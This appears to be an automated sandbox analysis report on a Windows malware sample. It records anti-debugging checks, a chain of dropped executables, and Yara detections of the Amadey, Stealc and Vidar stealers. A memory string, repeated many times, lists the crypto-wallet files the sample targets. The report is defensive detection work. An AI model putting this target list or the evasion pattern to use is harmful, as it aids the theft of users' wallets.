Code function: 21_2_053B00C0 rdtsc

21_2_053B00C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9C5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C963480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007E652B mov eax, dword ptr fs:[00000030h]		24_2_007E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007EA302 mov eax, dword ptr fs:[00000030h]		24_2_007EA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C99B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C99B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7040, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGIDAAFIEH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEGIDAAFIEH.exe "C:\Users\user\DocumentsEGIDAAFIEH.exe"
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe "C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe"

Source: file.exe, file.exe, 00000000.00000002.2771855873.000000000064A000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ^DProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C99B341 cpuid

0_2_6C99B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9635A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_007B65E0 LookupAccountNameA,

24_2_007B65E0

Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.DocumentsEGIDAAFIEH.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.2761862084.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3470370097.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2802363504.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2770252094.0000000000A61000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2729714258.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3228389007.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2771239675.0000000000271000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217451868.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7040, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
